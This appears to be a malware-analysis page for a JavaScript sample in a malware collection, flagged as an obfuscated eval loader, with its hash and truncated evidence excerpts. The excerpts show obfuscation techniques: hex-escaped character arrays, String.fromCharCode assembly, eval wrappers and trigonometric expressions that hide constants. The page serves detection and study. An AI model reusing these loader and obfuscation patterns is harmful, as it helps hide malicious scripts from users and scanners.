Suspicious ^80% javascript-malware-collection Download

20151215_6338eebcc5c0edf572fa82b9b63d075c.js

Obfuscated eval loader

Numeric trig-round obfuscation expressionNumeric sine-square obfuscation expression

SHA-2561380c46e23e207f5901639b6950b82cbe9616fab1246ab228a16e1fafc2100e5

Evidence

Single-line packed JavaScript loader profile lines 1–2

1var m=new Array();
2v(m,"\x51");v(m,"\x4c");v(m,"\x28");v(m,"\x2a");v(m,"\x6a");v(m,"\x47");v(m,"\x60");v(m,"\x6f");v(m,"\x25");v(m,"\x23");v(m,"\x69");v(m,"\x70");v(m,"\x5b");v(m,"\x5d");v(m,"\x6f");v(m,"\x34");v(m,"\x68");v(m,"\x7a");v(m,"\x44");v(m,"\x44");v(m,"\x2f");v(m,"\x50");v(m,"\x4b");v(m,"\x29");v(m,"\x4d");v(m,"\x5f");v(m,"\x48");v(m,"\x5e");v(m,"\x60");v(m,"\x44");v(m,"\x57");v(m,"\x48");v(m,"\x76");v(m,"\x7b");v(m,"\x68");v(m,"\x74");v(m,"\x38");v(m,"\x43");v(m,"\x47");v(m,"\x6d");v(m,"\x56");v(m,"\x79");v(m,"\x7b");v(m,"\x32");v(m,"\x4a");v(m,"\x2c");v(m,"\x24");v(m,"\x3a");v(m,"\x2d");v(m,"\x44");v(m,"\x20");v(m,"\x7b");v(m,"\x2a");v(m, …

Builds characters with String.fromCharCode line 4

4:248… 41],m[42],m[43],m[44],m[45],m[46],m[47],m[48],m[49],m[50],m[51],String.fromCharCode(10),m[52],m[53],m[54],m[55],m[56],m[57],m[58],m[59],m[60],m[61],m[62],m[63],String.fromCharCode(13),m[64],m[65],m[66],m[67],m[6 …

Calls JavaScript toString conversion method lines 6–8

6:35… Cfhfnq,ObcmZyhS){DOvK=parseInt(XystghcPGAm,hJMYZhTCfhfnq);kcYFQ=DOvK.toString(ObcmZyhS);return kcYFQ;}function zvjJzOtkoYfdrjD(sWyCJWLpLHtokXTeJ,QFJqQyuesaFWyaXMzDQvqJEhWJYBrpEtwr,yTsvPWbDqSDQUsyeSCwvYGStmLFrgtdVcNg){eval(sWyCJWLpLHtokXTeJ)}
7function zvjJzOtkoYfdrjD(sWyCJWLpLHtokXTeJ){eval(sWyCJWLpLHtokXTeJ)}
8function cUWaypRkqGEBCUJwSGTBhKpJHmVTePzRQiTKkaENfEETV …

Calls JavaScript split() lines 9–11

9:155… DavMskpPLxfCcv);}
10function hWQXKpolHVl(VYexWKIg,mukvML){return VYexWKIg.split(mukvML)}
11var e=[];e[0]=m[677];e[1]=m[678];e[2]=m[679];e[3]=m[680];e[4]=m[681];e[5]=m[682];e[6]=m[683];e[7]=m[684];e[8]=m[685];e[9]=m[686];e[10]=m[687];e[11]=m[688];e[12]=m[689];e[13]=m[690];e[14]=m[691];e[15]= …

Numeric sine-square obfuscation expression lines 13–15

13:13… ,a];
14var KFiJtPkPc=[];
15function oAyPFhlKRDSRJPPiO(YKIQT){fwOMuhJDKQo= m[1777];for(hzUbhcmdmcc=Math.round((Math.pow(Math.sin(689), 2) + Math.pow(Math.cos(689), 2) - 1)); hzUbhcmdmcc < (496+372)/434; hzUbhcmdmcc++) {KFiJtPkPc[hzUbhcmdmcc]=Math.round((Math.pow(Math.sin(446), 2) + Math.pow(Math.cos(446), 2) - 1)); while(true) { if(KFiJtPkPc[hzUbhcmdmcc] > YKIQT[hzUbhcmdmcc].length-(-562+933)/371) { break; } if (OAqLaVU(hdrNM(YKIQT[hzUbhcmdmcc][KFiJtPkPc[hzUbhcmdmcc]],(3613+3 …